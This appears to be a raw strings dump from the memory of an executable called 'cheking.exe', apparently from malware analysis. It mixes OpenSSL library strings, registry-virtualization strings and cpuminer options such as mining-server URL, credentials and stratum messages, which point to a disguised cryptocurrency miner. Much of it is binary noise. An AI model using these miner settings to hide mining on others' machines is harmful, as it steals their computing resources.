Invalid SSPI encryption response type (%u %u).
SOCKS5 access with%s protection granted.
OpenSSL 1.0.1e 11 Feb 2013
x509 certificate routines
DSO support routines
passed a null parameter
error:lX:%s:%s:%s
unable to get issuer certificate
unable to get certificate CRL
unable to decrypt certificate's signature
unable to decode issuer public key
certificate signature failure
certificate is not yet valid
certificate has expired
format error in certificate's notBefore field
format error in certificate's notAfter field
self signed certificate
self signed certificate in certificate chain
unable to get local issuer certificate
unable to verify the first certificate
certificate chain too long
certificate revoked
invalid CA certificate
invalid non-CA certificate (has CA markings)
proxy certificates not allowed, please set the appropriate flag
unsupported certificate purpose
certificate not trusted
certificate rejected
authority and subject key identifier mismatch
key usage does not include certificate signing
unable to get CRL issuer certificate
key usage does not include CRL signing
key usage does not include digital signature
invalid or inconsistent certificate extension
invalid or inconsistent certificate policy extension
Unsupported extension feature
name constraints minimum and maximum not supported
unsupported name constraint type
unsupported or invalid name constraint syntax
unsupported or invalid name syntax
\X
EXPORT
EXPORT40
EXPORT56
export
%-23s %s Kx=%-8s Au=%-4s Enc=%-9s Mac=%-4s%s
d.otherName
d.rfc822Name
d.dNSName
d.directoryName
d.ediPartyName
d.uniformResourceIdentifier
d.iPAddress
d.registeredID
openssl.cnf
CERTIFICATE
%*s%s
%*s%s:
%*s<Not Supported>
%s algorithm "%s" unsupported
Public Key
Private Key
cert_info
OPENSSL_ALLOW_PROXY_CERTS
Certificate:
%8sVersion: %lu (0x%lx)
%s%lu (%s0x%lx)
s%s
Issuer:%c
Subject:%c
Subject Public Key Info:
sPublic Key Algorithm:
sUnable to load Public Key
Public key OCSP hash:
x%s
%s - d:d:d%.*s %d%s
%s - d:d:d %d%s
os.length <= (int)sizeof(ret->session_id)
Enter PEM pass phrase:
phrase is too short, needs to be at least %d chars
ANY PRIVATE KEY
ENCRYPTED PRIVATE KEY
PRIVATE KEY
X509 CERTIFICATE
NEW CERTIFICATE REQUEST
CERTIFICATE REQUEST
TRUSTED CERTIFICATE
..\..\openssl\openssl\crypto\engine\eng_pkey.c
x509_pkey
evp_pkey
ssl_cert
ssl_sess_cert
%s(%d): OpenSSL internal error, assertion failed: %s
..\..\openssl\openssl\ssl\ssl_cert.c
dhKeyAgreement
challengePassword
extendedCertificateAttributes
nsCertExt
Netscape Certificate Extension
nsCertType
Netscape Cert Type
nsBaseUrl
Netscape Base Url
nsRevocationUrl
Netscape Revocation Url
nsCaRevocationUrl
Netscape CA Revocation Url
nsRenewalUrl
Netscape Renewal Url
nsCaPolicyUrl
Netscape CA Policy Url
nsCertSequence
Netscape Certificate Sequence
subjectKeyIdentifier
X509v3 Subject Key Identifier
keyUsage
X509v3 Key Usage
privateKeyUsagePeriod
X509v3 Private Key Usage Period
certificatePolicies
X509v3 Certificate Policies
authorityKeyIdentifier
X509v3 Authority Key Identifier
extendedKeyUsage
X509v3 Extended Key Usage
TLS Web Server Authentication
TLS Web Client Authentication
pbeWithSHA1And3-KeyTripleDES-CBC
pbeWithSHA1And2-KeyTripleDES-CBC
keyBag
pkcs8ShroudedKeyBag
certBag
localKeyID
x509Certificate
sdsiCertificate
id-smime-mod-msg-v3
id-smime-ct-publishCert
id-smime-aa-msgSigDigest
id-smime-aa-encrypKeyPref
id-smime-aa-signingCertificate
id-smime-aa-smimeEncryptCerts
id-smime-aa-ets-otherSigCert
id-smime-aa-ets-CertificateRefs
id-smime-aa-ets-certValues
id-smime-aa-ets-certCRLTimestamp
id-mod-qualified-cert-88
id-mod-qualified-cert-93
id-mod-attribute-cert
id-it-caProtEncCert
id-it-signKeyPairTypes
id-it-encKeyPairTypes
id-it-caKeyUpdateInfo
id-it-unsupportedOIDs
id-it-keyPairParamReq
id-it-keyPairParamRep
id-it-revPassphrase
id-regCtrl-oldCertID
id-regCtrl-protocolEncrKey
id-regInfo-certReq
id-cmc-getCert
id-cmc-confirmCertAcceptance
id-ecPublicKey
set-msgExt
set-certExt
certificate extensions
setct-AcqCardCodeMsg
setct-PCertReqData
setct-PCertResTBS
setct-CertReqData
setct-CertReqTBS
setct-CertResData
setct-CertInqReqTBS
setct-AcqCardCodeMsgTBE
setct-CertReqTBE
setct-CertReqTBEX
setct-CertResTBE
setCext-certType
setCext-cCertRequired
setAttr-Cert
set-rootKeyThumb
JOINT-ISO-ITU-T
joint-iso-itu-t
msSmartcardLogin
Microsoft Smartcardlogin
proxyCertInfo
Proxy Certificate Information
certicom-arc
certificateIssuer
X509v3 Certificate Issuer
id-PasswordBasedMAC
password based MAC
id-Gost28147-89-CryptoPro-KeyMeshing
id-Gost28147-89-None-KeyMeshing
LocalKeySet
Microsoft Local Key set
supportedApplicationContext
userPassword
userCertificate
cACertificate
certificateRevocationList
crossCertificatePair
supportedAlgorithms
anyExtendedKeyUsage
Any Extended Key Usage
s->init_num == (int)s->d1->w_msg_hdr.msg_len   DTLS1_HM_HEADER_LENGTH
((long)msg_hdr->msg_len) > 0
invalid state reached %s:%d
s->d1->w_msg_hdr.msg_len   ((s->version==DTLS1_VERSION)?DTLS1_CCS_HEADER_LENGTH:3) == (unsigned int)s->init_num
s->d1->w_msg_hdr.msg_len   DTLS1_HM_HEADER_LENGTH == (unsigned int)s->init_num
retransmit: message %d non-existant
certs
issuerKeyHash
OCSP_CERTID
reqCert
value.byName
value.byKey
value.good
value.revoked
value.unknown
OCSP_CERTSTATUS
certId
certStatus
crlUrl
You need to read the OpenSSL FAQ, hXXp://VVV.openssl.org/support/faq.html
[d:d:d]
%5lu file=%s, line=%d,
number=%d, address=lX
thread=%lu, file=%s, line=%d, info="
%ld bytes leaked in %d chunks
..\..\openssl\openssl\crypto\dh\dh_key.c
..\..\openssl\openssl\crypto\ec\ec_key.c
priv [ %d ]
cont [ %d ]
appl [ %d ]
<ASN1 %d>
'() ,-./:=?
ssl/certs
ssl/cert.pem
SSL_CERT_DIR
SSL_CERT_FILE
RSA PRIVATE KEY
DSA PRIVATE KEY
EC PRIVATE KEY
RSA PUBLIC KEY
PUBLIC KEY
CERTIFICATE PAIR
..\..\openssl\openssl\crypto\pem\pem_pkey.c
%s PRIVATE KEY
%s PARAMETERS
public_key
X509_PUBKEY
..\..\openssl\openssl\crypto\asn1\x_pubkey.c
x -
%sx - <SPACES/NULS>
PROXY_CERT_INFO_EXTENSION
Key Compromise
keyCompromise
Cessation Of Operation
cessationOfOperation
Certificate Hold
certificateHold
name.fullname
name.relativename
%*sOnly User Certificates
%*sOnly CA Certificates
%*sOnly Attribute Certificates
value.set
value.single
s->session->master_key_length >= 0 && s->session->master_key_length < (int)sizeof(s->session->master_key)
keyid
X509_CERT_AUX
X509_CERT_PAIR
AUTHORITY_KEYID
%d.%d.%d.%d/%d.%d.%d.%d
CLIENT_CERTIFICATE
CLIENT_MASTER_KEY
DTLS1_ADD_CERT_TO_BUF
DTLS1_OUTPUT_CERT_CHAIN
DTLS1_SEND_CERTIFICATE_REQUEST
DTLS1_SEND_CLIENT_CERTIFICATE
DTLS1_SEND_CLIENT_KEY_EXCHANGE
DTLS1_SEND_SERVER_CERTIFICATE
DTLS1_SEND_SERVER_KEY_EXCHANGE
GET_CLIENT_MASTER_KEY
REQUEST_CERTIFICATE
SSL2_GENERATE_KEY_MATERIAL
SSL2_SET_CERTIFICATE
SSL3_ADD_CERT_TO_BUF
SSL3_CHECK_CERT_AND_ALGORITHM
SSL3_GENERATE_KEY_BLOCK
SSL3_GET_CERTIFICATE_REQUEST
SSL3_GET_CERT_STATUS
SSL3_GET_CERT_VERIFY
SSL3_GET_CLIENT_CERTIFICATE
SSL3_GET_CLIENT_KEY_EXCHANGE
SSL3_GET_KEY_EXCHANGE
SSL3_GET_SERVER_CERTIFICATE
SSL3_OUTPUT_CERT_CHAIN
SSL3_SEND_CERTIFICATE_REQUEST
SSL3_SEND_CLIENT_CERTIFICATE
SSL3_SEND_CLIENT_KEY_EXCHANGE
SSL3_SEND_SERVER_CERTIFICATE
SSL3_SEND_SERVER_KEY_EXCHANGE
SSL3_SETUP_KEY_BLOCK
SSL_add_dir_cert_subjects_to_stack
SSL_add_file_cert_subjects_to_stack
SSL_CERT_DUP
SSL_CERT_INST
SSL_CERT_INSTANTIATE
SSL_CERT_NEW
SSL_check_private_key
SSL_CHECK_SRVR_ECC_CERT_AND_ALG
SSL_CTX_check_private_key
SSL_CTX_set_client_cert_engine
SSL_CTX_use_certificate
SSL_CTX_use_certificate_ASN1
SSL_CTX_use_certificate_chain_file
SSL_CTX_use_certificate_file
SSL_CTX_use_PrivateKey
SSL_CTX_use_PrivateKey_ASN1
SSL_CTX_use_PrivateKey_file
SSL_CTX_use_RSAPrivateKey
SSL_CTX_use_RSAPrivateKey_ASN1
SSL_CTX_use_RSAPrivateKey_file
SSL_GET_SERVER_SEND_CERT
SSL_GET_SERVER_SEND_PKEY
SSL_GET_SIGN_PKEY
SSL_SESS_CERT_NEW
SSL_SET_CERT
SSL_SET_PKEY
SSL_use_certificate
SSL_use_certificate_ASN1
SSL_use_certificate_file
SSL_use_PrivateKey
SSL_use_PrivateKey_ASN1
SSL_use_PrivateKey_file
SSL_use_RSAPrivateKey
SSL_use_RSAPrivateKey_ASN1
SSL_use_RSAPrivateKey_file
SSL_VERIFY_CERT_CHAIN
tls1_cert_verify_mac
TLS1_EXPORT_KEYING_MATERIAL
TLS1_SETUP_KEY_BLOCK
bad dh pub key length
bad ecc cert
certificate verify failed
cert length mismatch
ecc cert not for key agreement
ecc cert not for signing
ecc cert should have rsa signature
ecc cert should have sha1 signature
error generating tmp rsa key
https proxy request
http request
invalid ticket keys length
key arg too long
krb5 server rd_req (keytab perms?)
missing dh dsa cert
missing dh key
missing dh rsa cert
missing dsa signing cert
missing export tmp dh key
missing export tmp rsa key
missing rsa certificate
missing rsa encrypting cert
missing rsa signing cert
missing tmp dh key
missing tmp ecdh key
missing tmp rsa key
missing tmp rsa pkey
no certificates returned
no certificate assigned
no certificate returned
no certificate set
no certificate specified
no ciphers passed
no client cert method
no client cert received
Peer haven't sent GOST certificate, required for selected ciphersuite
no privatekey
no private key assigned
no publickey
null ssl method passed
peer did not return a certificate
peer error certificate
peer error no certificate
peer error unsupported certificate type
public key encrypt error
public key is not rsa
public key not rsa
reuse cert length not zero
reuse cert type not zero
signature for non signing certificate
sslv3 alert bad certificate
sslv3 alert certificate expired
sslv3 alert certificate revoked
sslv3 alert certificate unknown
sslv3 alert no certificate
sslv3 alert unsupported certificate
tlsv1 alert export restriction
tlsv1 bad certificate hash value
tlsv1 bad certificate status response
tlsv1 certificate unobtainable
tlsv1 unsupported extension
tls client cert req with anon cipher
tls illegal exporter label
tls peer did not respond with certificate list
tried to use unsupported cipher
unable to decode dh certs
unable to decode ecdh certs
unable to extract public key
unable to find public key parameters
unknown certificate type
unknown key exchange type
unknown pkey type
unsupported cipher
unsupported compression algorithm
unsupported digest type
unsupported elliptic curve
unsupported protocol
unsupported ssl version
unsupported status type
wrong number of key bits
ddddddZ
ddddddZ
%*sAlias: %s
%*sKey Id:
%sX
%lu:%s:%s:%d:%s
nkey <= EVP_MAX_KEY_LENGTH
..\..\openssl\openssl\crypto\evp\evp_key.c
j <= (int)sizeof(ctx->key)
len>=0 && len<=(int)sizeof(ctx->key)
key expansion
client write key
server write key
%s:%d: rec->data != rec->input
bn(%d,%d)
Load certs from files in a directory
%slx.%s%d
%s%clx.%s%d
l}C.we
xxxxxxxx
ADVAPI32.DLL
KERNEL32.DLL
NETAPI32.DLL
USER32.DLL
hexkey
rsa_keygen_bits
rsa_keygen_pubexp
p.other
p.onBasis
p.tpBasis
p.ppBasis
p.prime
p.char_two
value.named_curve
value.parameters
value.implicitlyCA
privateKey
publicKey
EC_PRIVATEKEY
d.other
d.data
d.sign
d.enveloped
d.signed_and_enveloped
d.digest
d.encrypted
key_enc_algor
enc_key
..\..\openssl\openssl\crypto\evp\evp_pkey.c
pkeyalg
pkey
PKCS8_PRIV_KEY_INFO
pubkey
..\..\openssl\openssl\crypto\asn1\x_pkey.c
NETSCAPE_CERT_SEQUENCE
Private-Key: (%d bit)
Public-Key: (%d bit)
Private-Key
Public-Key
%s: (%d bit)
PKCS#3 DH Private-Key
PKCS#3 DH Public-Key
private-key:
public-key:
recommended-private-length: %d bits
[%s] %s=%s
[[%s]]
%*scrlUrl:
CERTIFICATEPOLICIES
d.cpsuri
d.usernotice
%*sCPS: %s
%*sOrganization: %s
%*sNumber%s:
%*sExplicit Text: %s
Key Encipherment
keyEncipherment
Key Agreement
keyAgreement
Certificate Sign
keyCertSign
EXTENDED_KEY_USAGE
<unsupported>
othername:<unsupported>
X400Name:<unsupported>
EdiPartyName:<unsupported>
email:%s
DNS:%s
URI:%s
IP Address:%d.%d.%d.%d
%*sZone: %s, User:
..\..\openssl\openssl\crypto\x509v3\v3_akey.c
%*sPolicy Text: %s
PKEY_USAGE_PERIOD
..\..\openssl\openssl\crypto\x509v3\v3_skey.c
des(%s,%s,%s,%s)
s->s2->key_material_length <= sizeof s->s2->key_material
c->iv_len <= (int)sizeof(s->session->key_arg)
ECDH_compute_key
zlib not supported
d2i_AutoPrivateKey
d2i_PrivateKey
d2i_PublicKey
d2i_X509_PKEY
i2d_DSA_PUBKEY
i2d_EC_PUBKEY
i2d_PrivateKey
i2d_PublicKey
i2d_RSA_PUBKEY
X509_PKEY_new
bad password read
digest and key type not supported
private key header missing
streaming not supported
unable to decode rsa key
unable to decode rsa private key
unknown public key type
unsupported any defined by type
unsupported encryption algorithm
unsupported public key type
unsupported type
wrong public key type
PKCS7_add_certificate
certificate verify error
decrypted key is wrong length
encryption not supported for this key type
no recipient matches certificate
no recipient matches key
operation not supported on this type
private key does not match certificate
signer certificate not found
signing not supported for this key type
unable to find certificate
unknown operation
unsupported cipher type
unsupported content type
COMPUTE_KEY
DH_compute_key
DH_generate_key
GENERATE_KEY
PKEY_DH_DERIVE
PKEY_DH_KEYGEN
invalid public key
keys not set
key size too small
CMS_add0_recipient_key
CMS_add0_cert
CMS_add0_recipient_password
CMS_add1_recipient_cert
CMS_decrypt_set1_key
CMS_decrypt_set1_password
CMS_decrypt_set1_pkey
CMS_EncryptedData_set1_key
CMS_GET0_CERTIFICATE_CHOICES
cms_msgSigDigest_add1
CMS_RecipientInfo_ktri_cert_cmp
CMS_RecipientInfo_set0_key
CMS_RecipientInfo_set0_password
CMS_RecipientInfo_set0_pkey
CMS_SIGNERINFO_VERIFY_CERT
certificate already present
certificate has no keyid
error getting public key
error setting key
invalid encrypted key length
invalid key encryption parameter
invalid key length
msgsigdigest error
msgsigdigest verification failure
msgsigdigest wrong length
not key transport
not supported for this key type
no key
no key or cert
no msgsigdigest
no password
no private key
no public key
unsupported kek algorithm
unsupported key encryption algorithm
unsupported recipient type
unsupported recpientinfo type
d2i_ECPrivateKey
DO_EC_KEY_PRINT
ECKEY_PARAM2TYPE
ECKEY_PARAM_DECODE
ECKEY_PRIV_DECODE
ECKEY_PRIV_ENCODE
ECKEY_PUB_DECODE
ECKEY_PUB_ENCODE
ECKEY_TYPE2PARAM
EC_KEY_check_key
EC_KEY_copy
EC_KEY_generate_key
EC_KEY_new
EC_KEY_print
EC_KEY_print_fp
EC_KEY_set_public_key_affine_coordinates
i2d_ECPrivateKey
i2o_ECPublicKey
o2i_ECPublicKey
PKEY_EC_CTRL
PKEY_EC_CTRL_STR
PKEY_EC_DERIVE
PKEY_EC_KEYGEN
PKEY_EC_PARAMGEN
PKEY_EC_SIGN
gf2m not supported
invalid private key
missing private key
not a supported NIST prime
passed null parameter
unsupported field
BIO_get_port
no accept port specified
no port defined
no port specified
unsupported method
R2I_CERTPOL
S2I_ASN1_SKEY_ID
S2I_SKEY_ID
V2I_AUTHORITY_KEYID
V2I_EXTENDED_KEY_USAGE
extension setting not supported
no issuer certificate
no proxy cert policy language defined
operation not defined
policy syntax not currently supported
unable to get issuer keyid
unsupported option
ENGINE_cmd_is_executable
ENGINE_ctrl_cmd
ENGINE_ctrl_cmd_string
ENGINE_get_pkey_asn1_meth
ENGINE_get_pkey_meth
ENGINE_load_private_key
ENGINE_load_public_key
ENGINE_load_ssl_client_cert
ENGINE_UNLOAD_KEY
cmd not executable
failed loading private key
failed loading public key
invalid cmd name
invalid cmd number
unimplemented public key method
ADD_CERT_DIR
GET_CERT_BY_SUBJECT
X509_check_private_key
X509_get_pubkey_parameters
X509_load_cert_crl_file
X509_load_cert_file
X509_PUBKEY_get
X509_PUBKEY_set
X509_REQ_check_private_key
X509_STORE_add_cert
X509_verify_cert
cant check dh key
cert already in hash table
key type mismatch
key values mismatch
loading cert dir
method not supported
no cert set for us to verify
public key decode error
public key encode error
unable to get certs public key
unknown key type
unsupported algorithm
OCSP_cert_id_new
OCSP_parse_url
PARSE_HTTP_LINE1
error parsing url
no certificates in chain
unsupported requestorname type
data too large for key size
AESNI_INIT_KEY
AES_INIT_KEY
CAMELLIA_INIT_KEY
D2I_PKEY
DSAPKEY2PKCS8
DSA_PKEY2PKCS8
ECDSA_PKEY2PKCS8
ECKEY_PKEY2PKCS8
EVP_CIPHER_CTX_set_key_length
EVP_PKCS82PKEY
EVP_PKCS82PKEY_BROKEN
EVP_PKEY2PKCS8_broken
EVP_PKEY_copy_parameters
EVP_PKEY_CTX_ctrl
EVP_PKEY_CTX_ctrl_str
EVP_PKEY_CTX_dup
EVP_PKEY_decrypt
EVP_PKEY_decrypt_init
EVP_PKEY_decrypt_old
EVP_PKEY_derive
EVP_PKEY_derive_init
EVP_PKEY_derive_set_peer
EVP_PKEY_encrypt
EVP_PKEY_encrypt_init
EVP_PKEY_encrypt_old
EVP_PKEY_get1_DH
EVP_PKEY_get1_DSA
EVP_PKEY_GET1_ECDSA
EVP_PKEY_get1_EC_KEY
EVP_PKEY_get1_RSA
EVP_PKEY_keygen
EVP_PKEY_keygen_init
EVP_PKEY_new
EVP_PKEY_paramgen
EVP_PKEY_paramgen_init
EVP_PKEY_sign
EVP_PKEY_sign_init
EVP_PKEY_verify
EVP_PKEY_verify_init
EVP_PKEY_verify_recover
EVP_PKEY_verify_recover_init
FIPS_CIPHER_CTX_SET_KEY_LENGTH
PKCS5_PBE_keyivgen
PKCS5_v2_PBE_keyivgen
PKCS5_V2_PBKDF2_KEYIVGEN
PKEY_SET_TYPE
aes key setup failed
bad key length
bn pubkey error
camellia key setup failed
command not supported
ctrl operation not implemented
different key types
expecting an rsa key
expecting a dh key
expecting a dsa key
expecting a ecdsa key
expecting a ec key
fips mode not supported
invalid operation
keygen failure
no key set
no operation set
operation not supported for this keytype
operaton not initialized
private key decode error
private key encode error
unsuported number of rounds
unsupported keylength
unsupported key derivation function
unsupported key size
unsupported prf
unsupported private key algorithm
unsupported salt type
ESS_ADD_SIGNING_CERT
ESS_CERT_ID_NEW_INIT
ESS_SIGNING_CERT_NEW_INIT
TS_CHECK_SIGNING_CERTS
TS_MSG_IMPRINT_set_algo
TS_REQ_set_msg_imprint
TS_RESP_CTX_set_certs
TS_RESP_CTX_set_signer_cert
TS_TST_INFO_set_msg_imprint
TS_VERIFY_CERT
ess add signing cert error
ess signing certificate error
invalid signer certificate purpose
unsupported md algorithm
unsupported version
PKCS12_add_localkeyid
PKCS12_key_gen_asc
PKCS12_key_gen_uni
PKCS12_MAKE_KEYBAG
PKCS12_MAKE_SHKEYBAG
PKCS12_newpass
PKCS12_PBE_keyivgen
PKCS8_add_keyusage
key gen error
unsupported pkcs12 mode
d2i_PKCS8PrivateKey_bio
d2i_PKCS8PrivateKey_fp
DO_PK8PKEY
DO_PK8PKEY_FP
PEM_F_PEM_WRITE_PKCS8PRIVATEKEY
PEM_PK8PKEY
PEM_READ_BIO_PRIVATEKEY
PEM_READ_PRIVATEKEY
PEM_WRITE_PRIVATEKEY
error converting private key
expecting private key blob
expecting public key blob
keyblob header parse error
keyblob too short
problems getting password
public key no rsa
read key
unsupported encryption
unsupported key components
PKEY_RSA_CTRL
PKEY_RSA_CTRL_STR
PKEY_RSA_SIGN
PKEY_RSA_VERIFY
PKEY_RSA_VERIFYRECOVER
RSA_BUILTIN_KEYGEN
RSA_check_key
RSA_generate_key
RSA_generate_key_ex
data too small for key size
digest too big for rsa key
illegal or unsupported padding mode
invalid keybits
operation not allowed in fips mode
rsa operations not supported
unsupported mask algorithm
unsupported mask parameter
unsupported signature type
WIN32_JOINER
functionality not supported
DSA_generate_key
PKEY_DSA_CTRL
PKEY_DSA_KEYGEN
keylen <= sizeof key
EVP_CIPHER_key_length(cipher) <= (int)sizeof(md_tmp)
wrong number of fields on line %ld (looking for field %d, got %d, '%s' left)
:EXTERNAL TYPE %s
ERROR: selector [%d] invalid
Unprocessed type %d
%*s%s OF %s {
%s (%s)
%s %s%lu (%s0x%lx)
ASN1 OID: %s
Field Type: %s
Basis Type: %s
..\..\openssl\openssl\crypto\pkcs12\p12_key.c
keyfunc
keylength
Verifying - %s
otherCertFormat
otherCert
CMS_OtherCertificateFormat
d.certificate
d.extendedCertificate
d.v1AttrCert
d.v2AttrCert
CMS_CertificateChoices
d.issuerAndSerialNumber
d.subjectKeyIdentifier
d.crl
certificates
keyEncryptionAlgorithm
encryptedKey
CMS_KeyTransRecipientInfo
keyAttrId
keyAttr
CMS_OtherKeyAttribute
CMS_RecipientKeyIdentifier
d.rKeyId
CMS_KeyAgreeRecipientIdentifier
CMS_RecipientEncryptedKey
CMS_OriginatorPublicKey
d.originatorKey
CMS_OriginatorIdentifierOrKey
recipientEncryptedKeys
CMS_KeyAgreeRecipientInfo
keyIdentifier
keyDerivationAlgorithm
CMS_PasswordRecipientInfo
d.ktri
d.kari
d.kekri
d.pwri
d.ori
d.signedData
d.envelopedData
d.digestedData
d.encryptedData
d.authenticatedData
d.compressedData
d.allOrFirstTier
d.receiptList
value.other
value.x509cert
value.sdsicert
value.keybag
value.shkeybag
value.safes
value.bag
-----BEGIN %s-----
-----END %s-----
MIME-Version: 1.0%s
protocol="%ssignature";
"; boundary="----%s"%s%s
This is an S/MIME signed message%s%s
------%s%s
%s------%s%s
Content-Type: %ssignature;
name="smime.p7s"%s
Content-Transfer-Encoding: base64%s
filename="smime.p7s"%s%s
%s------%s--%s%s
certs-only
filename="%s"%s
Content-Type: %smime;
smime-type=%s;
name="%s"%s
Content-Transfer-Encoding: base64%s%s
bc5a78ee-03c2-4c99-bf85-db104339eee5
ReportEventA
_crt_debugger_hook
__crtUnhandledException
__crtTerminateProcess
_calloc_crt
_amsg_exit
__crtSetUnhandledExceptionFilter
GetProcessWindowStation
5W0.Jl
894484484440\
~13,,:*13*
,%.%"8#"
0000000
.text
`.rdata
@.data
.ctors
@.dtors
@.rsrc
@.reloc
bAm_pP
ADVAPI32.dll
MSVCR120.dll
USER32.dll
WS2_32.dll

cheking.exe_1968_rwx_00070000_0003E000:

.idata
.edata
P.reloc
P.rsrc
kernel32.dll
$*@@@*$@@@$ *@@* $@@($*)@-$*@@$-*@@$*-@@(*$)@-*$@@*-$@@*$-@@-* $@-$ *@* $-@$ *-@$ -*@*- $@($ *)(* $)
oleaut32.dll
EVariantBadIndexError
ole32.dll
!"#$%&*;<=>@[]^_`{|}
ZwOpenKey
ZwEnumerateValueKey
ZwQueryKey
ZwQueryValueKey
ZwCreateKey
ZwEnumerateKey
ZwSetValueKey
ZwDeleteKey
ZwDeleteValueKey
ZwFlushKey
ZwLoadKey
ZwLoadKey2
ZwNotifyChangeKey
ZwQueryMultipleValueKey
ZwReplaceKey
ZwRestoreKey
ZwSaveKey
ZwSetInformationKey
ZwUnloadKey
ZwOpenKeyEx
ntdll.dll
ZwQuerySection, Unsupported class %d
KeySetValue unsupported value type
ZwQueryValueKey, unsupported class %d
ZwQueryKey, unsupported class %d
ZwQueryObject with unsupported class
WARNING ZwReadFileInformation with unsupported class
ZwSetInformationFile with unsupported class
sxs.dll
THookWindowsAPI
Cannot find function %s in library %s
Cannot find function ordinal %d in library %s
.section
user32.dll
GetKeyboardType
advapi32.dll
RegOpenKeyExA
RegCloseKey
RegOpenKeyA
GetWindowsDirectoryW
GetWindowsDirectoryA
GetCPInfo
RtlFormatCurrentUserKeyPath
SHFolder.dll
shlwapi.dll
loaderx86.dll
2 2$2(2,2|2
6 6$6(6<6
8#8'8 8/83878;8?8:9`9
9"9&9*9.9
4%4U4
KWindows
TntWindows
UrlMon
virtualboximportunit
ÞFAULT FOLDER%
%SYSTEM FOLDER%
%WINDOWS FOLDER%
%Cookies FOLDER%
hh.exe
write.exe
attrib.exe
chkdsk.exe
compact.exe
find.exe
help.exe
winver.exe
regsvr32.exe
replace.exe
dllhost.exe
ntvdm.exe
tcpsvcs.exe
Was not able to create virtual value at ImportCall_ZwSetValueKey
Was not able to create virtual key at ImportCall_ZwSetValueKey
ImportCall_ZwLoadKey
ImportCall_ZwLoadKey2
ImportCall_ZwNotifyChangeKey
ImportCall_ZwQueryMultipleValueKey
ImportCall_ZwReplaceKey
ImportCall_ZwRestoreKey
ImportCall_ZwSaveKey
ImportCall_ZwSetInformationKey
ImportCall_ZwUnloadKey
evb*.tmp
.manifest
Unsupported call of ZwSetVolumeInformationFile
<>:"/\|?*
7Dispatch methods do not support more than 64 parameters
Cannot assign a %s to a %s%String list does not allow duplicates
Cannot create file "%s". %s
Cannot open file "%s". %s
Invalid property value List capacity out of bounds (%d)
List count out of bounds (%d)
List index out of bounds (%d)
%s.Seek not implemented$Operation not allowed on sorted list
OLE error %.8x.Method '%s' not supported by automation object/Variant does not reference an automation object
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
System Error. Code: %d.
Invalid variant operation%Invalid variant operation (%s%.8x)
%s5Could not convert variant of type (%s) into type (%s)=Overflow while converting variant of type (%s) into type (%s)
Operation not supported
External exception %x
Interface not supported
Invalid pointer operation
Invalid class typecast0Access violation at address %p. %s of address %p
Privileged instruction(Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'"Variant method calls not supported
I/O error %d
Integer overflow Invalid floating point operation

cheking.exe_1968_rwx_00401000_00656000:

~%Sj O
!"KKK#K$K%KK&K'()KKKK*KKKKKKKK KKKKKKKKKKKK,KK-.KKKKKKKKKKK/K0KKKKKKKKKKKKKK12KK345KK6789:K;KKKKKK<=KK>?@KKAKKKKKBCDKKKKKEKFKKKKKGKKHFFFIKKKJ
>%ufj
t.UVW
whWj%Sj
9.uBh
%UUUU
%UUUU3
option requires an argument -- %c
option requires an argument -- %s
unknown option -- %c
unknown option -- %s
\ux
\ux\ux
`%s near '%s'
%s near end of file
unable to decode byte 0x%x
control character 0x%x
invalid Unicode '\uX\uX'
invalid Unicode '\uX'
duplicate object key
unable to open %s: %s
0123456789;
-o, --url=URL URL of mining server
-O, --userpass=U:P username:password pair for mining server
-p, --pass=PASSWORD password for mining server
--cert=FILE certificate for mining server using SSL
-x, --proxy=[PROTOCOL://]HOST[:PORT] connect through a proxy
--no-longpoll disable long polling support
--no-getwork disable getwork support
--no-gbt disable getblocktemplate support
--no-stratum disable X-Stratum support
--no-extranonce disable Stratum extranonce support
--no-redirect ignore requests to change the URL of the mining server
-b, --api-bind IP/Port for the miner API (default: 127.0.0.1:4048)
A127.0.0.1
seturl
CPU=%d;KHS=%.2f|
NAME=%s;VER=%s;API=%s;ALGO=%s;CPUS=%d;KHS=%.2f;SOLV=%d;ACC=%d;REJ=%d;ACCMN=%.3f;DIFF=%.6f;TEMP=%.1f;FAN=%d;FREQ=%d;UPTIME=%.0f;TS=%u|
%c%c==
%c%c%c=
%c%c%c%c
clientkey: %s
%s258EAFA5-E914-47DA-95CA-C5AB0DC85B11
HTTP/1.1 101 Switching Protocol
Upgrade: WebSocket
Sec-WebSocket-Accept: %s
Sec-WebSocket-Protocol: text
0.0.0.0
API not running (no valid IPs specified)%s
API initialisation failed (%s)%s
API initialisation 2 failed (%s)%s
API bind to port %d failed - trying again in 20sec
API bind to port %d failed (%s)%s
API initialisation 3 failed (%s)%s
API failed (%s)%s
API: connection from %s - %s
Sec-WebSocket-Key
API: exec command %s(%s)
%s:%s:%s
tX4Fr.rh.46Aw-wl-6
.eK9K\9.
DEBUG (little endian): %s
Hash: %sx0
Target: %sx0
evo hash order %s (x)
t44Fr.rh.66Aw-wl-
..eK9K\9
.rh.44Fr-wl-66Aw
O9K\9..eKW
trh.44Fr.wl-66Aw-
K\9..eK9
h.44Fr.rl-66Aw-w
O\9..eK9K=W
tXXFr.rh.44Aw-wl-66
.44Fr.rh-66Aw-wl
9..eK9K\W
r.rh.44Fw-wl-66A
rj<s.yN>
#[.xU
a-C7}
8.lCd
..r.zb)zKK
K.EGG
..rKzb)zKK
%sXAA
.hWBB
\QUSEREX.DLL
function not supported
operation canceled
address_family_not_supported
operation_in_progress
operation_not_supported
protocol_not_supported
operation_would_block
address family not supported
broken pipe
inappropriate io control operation
not supported
operation in progress
operation not permitted
operation not supported
operation would block
protocol not supported
0123456789
?456789:;<=
!"#$%&'()* ,-./0123
.pp@0
aEÐ
 (#EÚ
ÚE<<0
%'%1$=%C%K%O%s%
.%.-.3.7.9.?.W.[.o.y.
C%C'C3C7C9COCWCiC
CURL initialization failed
DEBUG: job_id='%s' extranonce2=%s ntime=x
Stratum difficulty set to %g%s
network hashrate too high, waiting %s...
Binding thread %d to cpu %d (mask %x)
Binding thread %d to cpu mask %x
work retrieval failed, exiting mining thread %d
cert
Benchmark: %s
Mining timeout of %ds reached, exiting...
userpass
%s:%d
CPU #%d: %.2f H/s
CPU #%d: %s kH/s
Total: %s H/s
net diff: %f -> shift %u, bits x
Total: %s kH/s
CURL init failed
POK received: xx
%s%s%s
Long-polling on %s
%s block %d%s
{"method": "getjob", "params": {"id": "%s"}, "id":1}
getmininginfo not supported
%s detected new block%s
%s block %d, %s
JSON decode failed(%d): %s
Starting Stratum on %s
Current block is %d
Connection changed to %s
